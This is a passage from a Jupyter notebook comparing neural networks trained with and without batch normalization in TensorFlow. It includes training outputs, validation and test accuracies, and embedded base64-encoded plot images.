sXDh06xHvvvXfGsU8++eS8vhAykVzUDHXrLigoqHUhYH3x\npOA4GUZ+fj49evSo9dgrr7zS6M1VMpVc1Azp053W4SNJIyTtkbRP0hkGIwrMi8d3ShqQzvY4juM4\nZydtSUHSJcBvgJFAb2CspN4p1UYCveJjEvBYutrjOI7jnJt09hSuA/aZ2X4z+xRYAtyeUud24EkL\nbAKukNQpjW1yHMdxzkI67yl0Bt5Jen4I+EY96nQGjiRXkjSJ0JMA+FDSnka2qSPQuB0zMptc1J2L\nmiE3deeiZmi47m71qZQRN5rN7AngifO9jqQt9VnmnW3kou5c1Ay5qTsXNUP6dKdz+Ogw0DXpeZcY\na2gdx3Ecp4lIZ1J4DeglqYeklsCdwMqUOiuBCXEW0kDghJkdSb2Q4ziO0zSkbfjIzE5K+gnwInAJ\nsMjMdkn6UTy+AHgeuBXYB3wE1G8Xi8Zz3kNQGUou6s5FzZCbunNRM6RJd8ZZZzuO4zjpw72PHMdx\nnASeFBzHcZwEOZMUzmW5cbEjaZGkY5LeTIq1l/SSpL3xb7ukY9Oj1j2SbkmKf1XSG/HYPMVdxCVd\nKmlpjL8qqXtT6qsNSV0lrZNUIWmXpPtiPNt1F0jaLGlH1P3zGM9q3RCcECRtk7QqPs8FzQdje7dL\n2hJjzafbzLL+QbjRXQn0BFoCO4Dezd2uBmq4ERgAvJkU+wVQGsulwMOx3DtqvBToEbVfEo9tBgYC\nAtYAI2P8x8CCWL4TWHoRaO4EDIjly4G3orZs1y2gTSznA6/Gtme17tiW+4HfA6ty4TMe23IQ6JgS\nazbdzf6GNNGbfj3wYtLz6cD05m5XI3R0p2ZS2AN0iuVOwJ7a9BFmgF0f6+xOio8FHk+uE8stCCsl\n1dyaU/T/CfhmLukGWgOvE9wAslo3YZ3Sy8BwTieFrNYc23KQM5NCs+nOleGjuuw0Mp0iO72u412g\nKJbr0ts5llPjNc4xs5PACaBDeprdcGKX9yuEX81ZrzsOo2wHjgEvmVku6P4VMA34PCmW7ZoBDFgr\naauCpQ80o+6MsLlwzo2ZmaSsnF8sqQ3wDDDVzD6IQ6VA9uo2s1NAsaQrgBWS+qQczyrdkr4FHDOz\nrZKG1VYn2zQncYOZHZb0ReAlSbuTDza17lzpKWSrncZRRVfZ+PdYjNel93Asp8ZrnCOpBdAWqEpb\ny+uJpHxCQigzs+UxnPW6qzGz94F1wAiyW/dg4DZJBwmOysMlPUV2awbAzA7Hv8eAFQSH6WbTnStJ\noT6WG5nISmBiLE8kjLlXx++Msw56EPar2By7ox9IGhhnJkxIOaf6Wt8Fyi0OQjYXsY0Lgb+b2eyk\nQ9mu+wuxh4CkVoT7KLvJYt1mNt3MuphZd8L/Z7mZjSeLNQNIukzS5dVl4GbgTZpTd3PfZGnCmzm3\nEmavVAIzmrs9jWj/HwiW4p8RxgvvJYwLvgzsBdYC7ZPqz4ha9xBnIcT41+KHrhL4NadXtRcAywiW\nI5uBnheB5hsI4607ge3xcWsO6O4HbIu63wQejPGs1p3U5mGcvtGc1ZoJMyJ3xMeu6u+m5tTtNheO\n4zhOglwZPnIcx3HqgScFx3EcJ4EnBcdxHCeBJwXHcRwngScFx3EcJ4EnBSejkdQhuktul/SupMNJ\nz1vW8xqLJX35HHUmSxp3YVpd6/W/LenqdF3fceqLT0l1sgZJDwEfmtkjKXERPuuf13riRUBcvfu0\nmT3b3G1xchvvKThZiaQrFfZhKCMsCuok6QlJWxT2KHgwqe56ScWSWkh6X9Ishb0MNkY/GiTNlDQ1\nqf4shT0P9kgaFOOXSXomvu7T8bWKa2nbL2OdnZIeljSEsChvTuzhdJfUS9KL0STtr5Kuiuc+Jemx\nGH9L0sgY7yvptXj+Tkk90/0eO9mJG+I52czVwAQzq964pNTMjkf/l3WSnjazipRz2gJ/MbNSSbOB\n7wOzarm2zOw6SbcBDxK8iaYA75rZdyT1J1he1zxJKiIkgGvNzCRdYWbvS3qepJ6CpHXAD8ysUtJg\nwgrVm+NlugJfJ1gcrJV0JcEz/xEzWyrpUoKnvuM0GE8KTjZTWZ0QImMl3Uv43H+JsGFJalL42MzW\nxPJWYEgd116eVKd7LN8APAxgZjsk7arlvOMEa+jfSloNrEqtEH2PBgLP6LQjbPL/6h/jUNgeSe8Q\nksMG4GeSugHLzWxfHe12nLPiw0dONvPf6oKkXsB9wHAz6we8QPCESeXTpPIp6v7h9L961DkDM/uM\n4FHzLDAKWF1LNQH/MrPipEeydXbqjUAzs98Bd8R2vSDpxvq2yXGS8aTg5AqFwH8ITpKdgFvOUb8x\n/A0YA2GMn9ATqUF0xCw0s1XATwkbBxHbdjmAmf0bOCLpjnhOXhyOqma0AlcRhpL2SuppZvvMbC6h\n99EvDfqcHMCHj5xc4XXCUNFu4B+EL/ALzXzgSUkV8bUqCLtcJdMWWB7H/fMIexJDcMF9XNIDhB7E\nncBjcUZVS+ApgpMmBH/8LUAbYJKZfSrpe5LGElx0/wk8lAZ9Tg7gU1Id5wIRb2C3MLNP4nDVn4Fe\nFrZAvFCv4VNXnbTiPQXHuXC0AV6OyUHADy9kQnCcpsB7Co7jOE4Cv9HsOI7jJPCk4DiO4yTwpOA4\njuMk8KTgOI7jJPCk4DiO4yT4PwGnyhrRBoCCAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11bc427b8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With the number of layers we're using and this small learning rate, using a sigmoid activation function takes a long time to start learning. It eventually starts making progress, but it took over 45 thousand batches just to get over 80% accuracy. Using batch normalization gets to 90% in around one thousand batches. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 1, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1397.55it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:39<00:00, 501.48it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.984399676322937\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9834001660346985\n" ] }, { "data": { "image/png": "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\npmAY/pHMK/NUbz+FH